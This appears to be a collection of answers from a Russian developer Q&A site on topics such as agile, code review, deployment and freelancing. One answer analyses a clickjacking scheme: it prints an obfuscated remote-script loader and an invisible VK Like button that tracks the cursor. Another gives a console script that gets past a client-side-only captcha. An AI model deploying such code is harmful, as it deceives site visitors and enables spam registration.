• Как правильно разделить разработку веб-проекта на юзер-стори?

    samizdam
    @samizdam
    В своё время вот эта книга для меня послужила (пару лет назад) неплохим введением в тему, рекомендую. Думаю в ней вы найдёте ответы на большинство вопросов.

    Надо также учитывать, что все Agile методологии, требуют постоянного (и на мой взгляд большего) вовлечения заказчика в процесс, в сравнении с традиционными подходами. Например в месте где я сейчас работаю, при всей моей любви к User Stories, Scrum, я прекрасно понимаю что любые попытки внедрить их обречены на провал - т.к. заказчику это не нужно, не интересно, не когда. А насаждать Agile только ради того чтобы разработчики поигрались, не самая удачная идея. Разные фишки пытались внедрять, но всё шло прахом из-за низкой вовлечённости заказчика в процесс. Хотя отдельные, чисто технические Agile-фичи в разработке успешно используем: TDD, CI, рефакторинг, ну и многое из XP в разработке хорошо приживается, разработчики довольны. Платформа у нас кстати тоже php =)

    При этом по прошлым проектам могу судить, что когда заказчик доступен на постоянной основе и заинтересован в процессе по настоящему работа по Scrum вполне может быть успешной. Так и пользовательские истории могут быть успешно использованы как универсальный инструмент для формирования бэклога.

    В общем это я своими словами описал принцип "Заказчик всегда рядом".

    Ещё один из основополагающих принципов ( в той же книге ему не мало внимания уделено, насколько я помню): интерфейсные решения должны приниматься как можно позже. Темы вёрстки и интерфейса и должна быть не раскрыта как можно дольше. Идите от функциональных требования к системе, а не от прототипов интерфейса! Я лично вообще считаю проектирование от гуя большим злом и признаком не высокой компетентности бизнес-аналитика, если проект посложнее сайта визитки — стоит смотреть в сторону DDD. У Фаулера, кажется, на эту же тему есть формулировка о хорошем программном дизайне (воспроизвожу по памяти, могу ошибаться как в точности, так и в источнике):

    Представьте что в конце проекта обнаружилось что у программы должен быть не веб-интерфейс, как планировалось, а только командной строки, например, или мобильное приложение!
    Если такое изменение можно принять, без изменений в ядре системы, значит архитектура годная.
    Ответ написан
    Комментировать
  • Попросили проверить код, на что смотреть нужно?

    index0h
    @index0h
    PHP, Golang. https://github.com/index0h
    Смотря зачем)). Я когда делаю Code Review критерии следующие:

    * Безопасность:
    - Каждый аргумент метода простого типа должен проверяться на тип в случае его проксирования и на граничные значения в случае обработки. Чуть что не так - бросается исключение. Если метод с кучкой аргументов на 80% состоит из поверки из аргументов - это вполне норм))
    - Никаких trigger_error, только исключения.
    - Исключения ДОЛЖНЫ быть человеко-понятны, всякие "Something went wrong" можно отдавать пользователю, но в лог должно попасть исключение со стектрейсом и человеко-понятным описанием, что же там пошло не так.
    - Каждый аргумент (объект) метода должен быть с тайпхинтингом на этот его класс, или интерфейс.
    - За eval как правило шлю на **й.
    - @ допускается только в безвыходных ситуациях, например проверка json_last_error.
    - Перед работой с БД - обязательная проверка данных.
    - Никаких == и !=. Со swtich - единственное исключение, по ситуации.
    - Если метод возвращает не только bool, а еще что-то - жесткая проверка с ===, или !== обязательна.
    - Никаких условий с присваиваниями внутри. while($row = ...) - тоже идет лесом.
    - Магические геттеры/сеттеры разрешаются только в безвыходных ситуациях, в остальном - запрещены.
    - Конкатенации в sql - только в безвыходных ситуациях.
    - Параметры в sql - ТОЛЬКО через плейсхолдеры.
    - Никаких глобальных переменных.
    - Даты в виде строки разрешаются только в шаблонах и в БД, в пхп коде сразу преобразуется в \DateTimeImmutable (в безвыходных ситуациях разрешено \DateTime)
    - Конечно зависит от проекта, но как приавло должно быть всего две точки входа: index.php для web и console(или как-то по другому назваться) - для консоли.

    * Кодстайл PSR-2 + PSR-5 как минимум, + еще куча более жестких требований (для начала все то что в PSR помечено как SHOULD - становится MUST)
    - В PhpStorm ни одна строчка не должна подсвечиваться (исключением является typo ошибки, например словарик не знает какой-то из аббревиатур, принятых в вашем проекте). При этом разрешается использовать /** @noinspection *** */ для безвыходных ситуаций.
    - Если кто-то говорит, что пишет в другом редакторе и у него не подсвечивается, на эти отговорки кладется ВОТ ТАКЕЕЕНЫЙ мужской половой **й и отправляется на доработку)).

    * Организация кода:
    - Никаких глобальных функций.
    - Классы без неймспейса разрешаются только в исключительно безвыходных ситуациях.

    * Тестируемость (в смысле простота тестирования) кода должна быть высокая.
    - Покрытие кода обязательно для всех возможных кейсов использования каждого публичного метода с моками зависимостей.

    * Принципы MVC:
    - Никаких обработок пользовательского ввода в моделях, от слова совсем.
    - Никаких ***ть запросов в БД из шаблонов.
    - Никаких верстки/js/css/sql-ин в контроллерах.
    - В моделях НИКАКОЙ МАГИИ, только приватные свойства + геттеры с сеттерами.
    - В моделях разрешено использовать метод save(при наличии такого разумеется) только в исключительных ситуациях. Во всех остальных - либо insert, либо update.

    * Принципы SOLD:
    - Никаких божественных объектов умеющих во все.
    - Если метод для внутреннего пользования - private, никаких public.
    - Статические методы разрешаются только в случае безвыходности.

    * Принцип DRY разрешено нарушать в случаях:
    - Явного разделения обязанностей
    - В тестах (каждый тест должен быть независимым, на сколько это возможно)

    * Работа с БД:
    - Запрос в цикле должен быть РЕАЛЬНО обоснован.
    - За ORDER BY RAND() - шлю на***й.
    - Поиск не по ключам (конечно если таблица НЕ на 5 строк) запрещен.
    - Поиск без LIMIT (опять же если таблица НЕ на 5 строк) запрещен.
    - SELECT * - запрещен.
    - Денормализация БД должна быть обоснована.
    - MyISAM не используется (так уж)) )
    - Множественные операции обязательно в транзакции, с откатом если чо пошло не так.
    - БД не должна содержать бизнес логики, только данные в целостном виде.
    - Не должно быть нецелесообразного дерганья БД там, где без этого можно обойтись.

    * Кэш должен очищаться по двум условиям (не по одному из, а именно по двум):
    - Время.
    - Протухание по бизнес логике.
    Разрешается по только времени в безвыходных ситуациях, но тогда время - короткий период.
    - При расчете ключей кэша должна использоваться переменная из конфигурации приложения (на случай обновлений кэш сбрасывается кодом, а не флашем кэш-сервера). В случае использования множества серверов - это очень удобный и гибкий инструмент при диплое.

    * О людях:
    - "Я привык писать так и буду дальше" - не вопрос, ревью пройдешь только когда поменяешь свое мнение.
    - "Я пишу в vim-е и мне так удобно" - здорово, код консолью я тоже в нем пишу)) но есть требования к коду, если в них не сможешь - не пройдешь ревью.
    - "Я скопировал этот страшный метод и поменял 2 строчки" - это конечно замечательно, но по блейму автор всего этого метода ты, так что давай без говняшек, хорошо?
    - "Оно же работает!" - вот эта фраза переводится примерно так: "да, я понимаю, что пишу полную хрень, но не могу писать нормально потому, что руки из жо", я правильно тебя понял?))
    - "У меня все работает!" - рад за тебя, а как на счет продакшна?
    - "Там все просто" - не используй слово "просто", от слова "совсем". Вот тебе кусок кода (первого попавшегося с сложной бизнес логикой), где там ошибка (не важно есть она, или нет)? Ты смотришь его уже 2 минуты, в чем проблема, там же все "просто"))

    * Всякое:
    ActiveRecord (это я вам как в прошлом фанат Yii говорю) - полное говно, примите за исходную. По факту у вас бесконтрольно по проекту гуляют модельки с подключением к БД. Не раз натыкался на то, что в тех же шаблонах вызывают save, или update (за такое надо сжигать).
    То, что используется Laravel - это печально((. Что бы выполнить требования приведенные выше, приходится "воевать" с фреймворком.

    Это далеко не полный список требований, очень много зависит от проекта в целом и от принципов, заложенных в нем. Для больших мредж реквестов 200 комментариев к коду - это ок. Дерзайте.

    UPD

    Формализировал данные критерии по ссылочке: https://github.com/index0h/php-conventions
    Ответ написан
    55 комментариев
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Как избавиться от бота, который постоянно регистрируется?

    onqu
    @onqu
    weasy
    Чтобы у вас зарегистрироваться, каптчу вводить не надо. У вас валидация только на клиенте.
    Заполняем email, имя и ставим любое значение в textarea id="g-recaptcha-response" -> submit, profit.

    upd: или на сервере в коде неверная валидация
    upd2: запускаем прямо из консоли браузера, значения свойств input можно менять

    var input = {
      // имя
      name: 'Иванов',
      // email
      email: 'ivanov.no.captcha@mail.ru',
      //
      'g-recaptcha-response': 'whatever'
    };
    
    var formId = 'reg_form';
    var query  = '[name=email],[name=name],[id=g-recaptcha-response]';
    
    var form = document.getElementById(formId);
    var fields = form.querySelectorAll(query);
    
    for (var i = 0; i < fields.length; ++i) {
      var field = fields[i];
      var name = field.getAttribute('name');
      var value = input[name];
    
      $(field).val(value);
    }
    
    $(form).submit();
    Ответ написан
    Комментировать
  • Как собрать домашний develop сервер?

    opium
    @opium
    Просто люблю качественно работать
    Откройте для себя мощный комп и виртуализацию
    Ответ написан
    Комментировать
  • Сначала заказывать дизайн или разработку?

    webirus
    @webirus
    Тыжверстальщик! Наверстай мне упущенное...
    Проще верстальщика и программиста загнать в рамки дизайнерского решения, чем заставить дизайнера рисовать по готовому сайту. Все равно возможно придется переделывать кучу мелочей, которые только увеличат срок разработки и создадут кучу геморроя всем.
    Делайте сначала макет дизайна.
    Ответ написан
    2 комментария
  • Как происходит разработка веб приложений у профи?

    sim3x
    @sim3x
    Один коллега посоветовал мне сначала писать тесты, а потом уже под них писать код. Мы так еще не делали, хотим внедрить. Действительно ли это эффективно?

    Да, так пишется меньше кода :)

    Только в последовательность выглядит так
    0. Пишем тест под новый функционал
    1. Стартуем тесты = прогон тестов должен занимать до 2 сек
    2. Видим новый проваленный тест
    3. Фиксим его

    Но в любом случае, сначала заводится тикет в багтрекере, потом вешается на себя, потом делается "гит пулл", а уже после того добавляется код

    Различные среды дев/прод/тест должны готовится автоматом + должны быть в виде готовых образов для виртуалок или для докера.
    Последовательность: пишется скрипт для сборки образа, отправляется в репозиторий, ночью или моментально машина, ответственная за образы, собирает его и разраб может ею пользоваться.
    ИМО дев/прод/тест не должны различаться на данном етапе - все модификации окружения должен проводить софт, который ассоциирован с ЯП/средой, в которой ты занимаешься разработкой. Допустим ты работаеш с нодой и тебе нужны пакеты для оптимизации цсс - npm install а на продакшене такое не нужно и ты делаешь npm install --production

    Но все ети заморочки не добавляют скорости разработки - они не дают разводить на проекте бардак и, теоретически, повышают качество кода
    Ответ написан
    Комментировать
  • Что нужно указать в сокращенной версии ТЗ (пользовательских требованиях) для того чтобы его понимали все стороны?

    Nekto_Habr
    @Nekto_Habr
    Чат дизайнеров: https://t.me/figma_life
    "Назначение: Разработка системы учета компаний..." -> Учёт компаний...

    Предложение: Реализовать возможность учета компаний, ... -> Реализовать: учёт компаний, ...

    Реализовать возможность настройки прав доступа определенным должностным лицам к функционалу: -> [ Реализовать: ] Настройку разных прав для разных должностей ....

    Язык, на котором составлено ТЗ, - бюрократичный и антигуманный, его как ни сокращай - всё равно к половине предложения теряешь нить. Переформулировать надо, в простые, точные и человечные фразы.
    Ответ написан
    2 комментария
  • Порекомендуйте программу надзора за сотрудниками?

    parotikov
    @parotikov
    Wordpress, Laravel, OctoberCMS, Vue, Nuxt.js
    Отвечу по сути:
    Лично для себя я использую http://yaware.ru/
    Позволяет найти узкие места, на что уходит непродуктивная часть времени. Настраивал у себя под убунтой - полёт нормальный. Каждый день шлют отчеты, и видно, чем вчера занимался и где залип.

    В презентации говорят, что их софт не противоречит законодательству, если в договоре всё оформить правильно.
    Ответ написан
    Комментировать
  • Существует ли хорошее приложение для конспектирования своей базы знаний?

    @southsoutheast
    Мне интересно.
    посмотрите в сторону всяких mind maps.
    я периодически использую mindomo (ограничение бесплатной версии - 3 карты на сервере, но локально можно больше), на хабре были обзоры других инструментов (Freemind, Xmind, MindManager и другие).
    в какой-то момент весьма помогло структурировать большой объем информации из разных источников, хотя не могу сказать, что это прямо идеально то, чего бы мне хотелось, но все же удобнее, чем любые виды оффлайновых/онлайновых блокнотов (которыми тоже пользуюсь, но для неструктурированных заметок).
    Ответ написан
    4 комментария
  • Как определить стоимость заказа?

    Nekto_Habr
    @Nekto_Habr
    Чат дизайнеров: https://t.me/figma_life
    Забавно в комментариях подобных обсуждений читать нытье в стиле "да там ж ничего сложного, грош цена такой работе". Еще забавней такое слышать от заказчика.

    Заходишь такой в магазин, показываешь банку пепси продавщице и говоришь - "Да этому напитку цена пять рублей, можно же закинуть в кастрюлю смородины, помять ее сахаром и залить водой".

    Раз есть спрос на такую простую работу, то и оцениваться она должна так, что исполнителю был бы смысл тратить на нее время. И тут расчет Александр Латышев единственно верный. В противном случае, пусть заказчик сам делает, а потом сам себе закидывает 4 рубля на телефон))))
    Ответ написан
    1 комментарий
  • Как лучше сделать деплой для frontend-разработчика?

    zoonman
    @zoonman
    ⋆⋆⋆⋆⋆
    Правильный вариант использовать Capistrano и ему подобные.
    Решение позволяет автоматизировать практически все: тестирование, компиляцию и оптимизацию ресурсов, вызывать очистку CDN, рестарт серверов, прогрев кэша и т.д.
    Плюс решение позволяет развертывание ни на одну машину, а на группу.
    Кроме этого может потребоваться развертывание сразу в нескольких окружениях, например сервер разработчиков, сервер тестирования и боевой.
    Тот же PHPStrom элементарно конфигурируется для автоматического развертывания после пуша.

    Не имеет значения, вы фронтендер или специалист по БД. Развертыванием должен заниматься специалист, по хорошему devops engineer, за недостатком одного прийдется освоить его работу самостоятельно.
    Ничего запредельно сложного там нет, плюс существует ряд популярных решений, которые легко гуглятся.
    Ответ написан
    Комментировать
  • Фриланс. Рассматривать ли российские биржи?

    nki
    @nki
    bezkart.ru готовая система лояльности
    Никогда не пользовался биржами. Ищу клиентов сам. Сочетаю он-лайн и офф-лайн методы поиска клиентов.
    Ответ написан
    Комментировать
  • Какой самый продвинутый wysiwyg редактор?

    То, что вы описали — функционал CMS, а не визвига.
    Ответ написан
    Комментировать
  • "ритм кодинга, как гребцам на галерах"?

    IonDen
    @IonDen
    JavaScript developer. IonDen.com
    Очень хорошо код пишется под шум дождя:
    www.rainymood.com
    www.noisli.com
    Ответ написан
    2 комментария
  • Что такое agile разработка?

    darqsat
    @darqsat
    PM
    Agile это подход для разработки стартапов. Изначально вышедший из XP и Lean Startup. Его главная цель - разруливать куда то в сторону света когда все вокруг нифига непонятно. Waterfall это методология при которой ты видишь путь целиком и полностью до нужной цели.

    Ошибочно считать, что waterfall слишком громоздкий и чето там не позволяет делать как Agile типа спринтов или т.п., что по факту было придумано еще в waterfall и называлось итерациями и вообще шло из другой методы - Итеративной разработки.

    Agile больше способ ведения бизнеса чем методология. Хорошо подходит там, где клиент не знает как достичь цели и команда тоже не особо в этом разбирается, но знает с чего начать и умеет сделать какой то объем работы.

    С точки зрения ПМ, ваш выбор всегда Waterfall, иначе вы не управляете ресурсами, сроками, качеством чего нельзя достичь с Agile. Там у вас либо фиксированный бюджет, либо сроки и одно другим погоняет.

    Я использую шпаргалку для себя:
    1. Нам и клиенту понятно как сделать продукт и можно составить план и ТЗ - Waterfall
    2. Нам или клиенту непонятно как сделать продукт и составить план и ТЗ - Agile

    Есть и первые и вторые проекты, вот и всё.
    Ответ написан
    2 комментария
  • Почему так сильно подорожали аккаунты pro на российских биржах фриланса? С чем это связано?

    tin-iven
    @tin-iven
    Фрилансер до костей
    d4b3d05717394f538a0470236a5d53f8.png

    Все понимаю - козлы, жлобы, эксплуататоры, жмоты - акционеры и руководство.
    Но: хлеб у вас в магазине не дорожал? тюлька не дорожала? услуги провайдера? абонемент в спортзале? и т.д.?
    Все или почти все поднялось в цене. Виноват проклятый доллар (ну, или не доллар, не важно). Поднялись и цены на бирже.

    А теперь конкретно по FL. Как это работает - есть акционеры (Мажирин и аптекари) и руководство (Росошанский и Тараханов). Раз в полгода акционеры собираются и говорят руководству - уровень прибыльности должен быть такой. Аптекари покупали долю в у.е. и получать хотят у.е. Мажирину тоже у.е. нужны - хотя бы на танцы свои. Итак, в начале 2013 прибыль была 200 000 у.е. в месяц, а в начале 2015 стала 75 000 у.е. Акционеры говорят руководству - нужно вернуть хотя бы до 150 000 у.е.

    Как это сделать - проблема не акционеров, а руководства. И руководство начинает действовать - вводит Profi, поднимает цену Pro, добавляет закрепления и прочие мелкие платности, увольняет кучу людей штата - почти 90%! www.the-village.ru/village/blogs/business/221897-c...
    Прибыль пошла в гору. "Ф-у-у-х! Акционеры не уволят, даже премию дадут" - так думает руководство. На первом этапе это так и работает.

    Но. Что имеем с итоге: сервис теряет в качестве - не хватает людей для нормального обслуживания пользователей, кода, серверов - отсюда постоянные падения, взломы и недовольство (https://vc.ru/n/fl-off, https://vc.ru/p/fl-hacked и т.д.). Сервис становится дороже (замечу - в рублях, в у.е. остается на том же уровне или дешевле) - отсюда снова недовольство пользователей.

    Блин, так почему же эта биржа не умирает? Почему все снова идут и платят (судя по анализу количество PRO за последний год не уменьшилось, а только выросло)? А я скажу - потому что есть заказы. Не просто заказы, а много заказов. Смотрим сколько - primelance.com/analytics/. Блин, да столько же, сколько на всех остальных биржах вместе взятых.

    Итог повествования: в обозримой перспективе ничего не изменится. На FL будет много заказов - к ней привыкли, она выделяет денег на рекламу больше остальных, только она обслуживает юриков. Поэтому туда будут идти фрилансеры, будут платить дорогой Pro. Этот самый Pro будет дальше дорожать - думаю, к середине 2016 на уровне 2000-2500 рублей. Если рубль продолжит плохо себя вести - еще больше, или переведут ценник в доллар.

    Скажете, на англоязычных лучше и светлее? Нет и еще раз нет. Посмотрите ценник на том же Upwork и радуйтесь, что FL до такого еще не додумалась. Одна радость - там ценник в проектах другой, отсюда и рентабельность работы на буржуев.

    Поэтому - если вы знаете или учите английский - валите по быстрому с отечественного фриланса. Если не знаете и учить не собираетесь - радуйтесь, что FL просят 1600 в месяц с неограниченным числом ответов, а не 600 за 10 ответов в месяц, и дальше по 120 рублей за каждый ответ + 10% с каждого заказа (каждого!), как это есть на Upwork.
    Ответ написан
    8 комментариев
  • Что такое agile разработка?

    saboteur_kiev
    @saboteur_kiev Куратор тега Организация работы
    software engineer
    Методика разработки.

    Waterfall: все тщательно планируем, назначаем сроки, разрабатываем, сдаем.

    Agile: Примерно планируем, анализируем, назначаем конечный срок, планируем на текущую итерацию, разрабатываем, планируем на текущую итерацию, разрабатываем... , сдаем

    Проблемы Waterfall:
    Если кто-то слажал, все ждут. Если нужно что-то добавить, очень сложно, потому что фаза планирования была очень долгой и тщательной и что-либо менять значит надо все менять.
    Если в плане указано, что сперва делаем это, а потом то, может случиться что некоторые люди, которые будут делать "то", будут какое-то время пинать "огурцы" пока ждут что первые люди сделают "это".
    Плюсы Waterfall:
    Все спланировано, все точно знают что когда будут делать.

    Проблемы Agile:
    Люди должны быть достаточно зрелые, чтобы нормально загружать себя работой - Agile в бюрократической среде просто провалится.

    Плюсы Agile:
    Практически нет простоя ни у кого - все всегда могут занять себя задачами.
    В случае появления новых требований, их можно без особого вреда ввести в проект почти на любой стадии. Главное чтобы технически это было возможно (в случае waterfall проблема именно на уровне утверждений и плана, то есть бюрократии)
    Адекватное использование рабочей силы - если у кого-то нет текущих задач, его официально можно занять под другие проекты.

    Agile это не сверхфича, это инструмент, точнее подход к планированию работы, но им нужно уметь пользоваться.
    Ответ написан
    Комментировать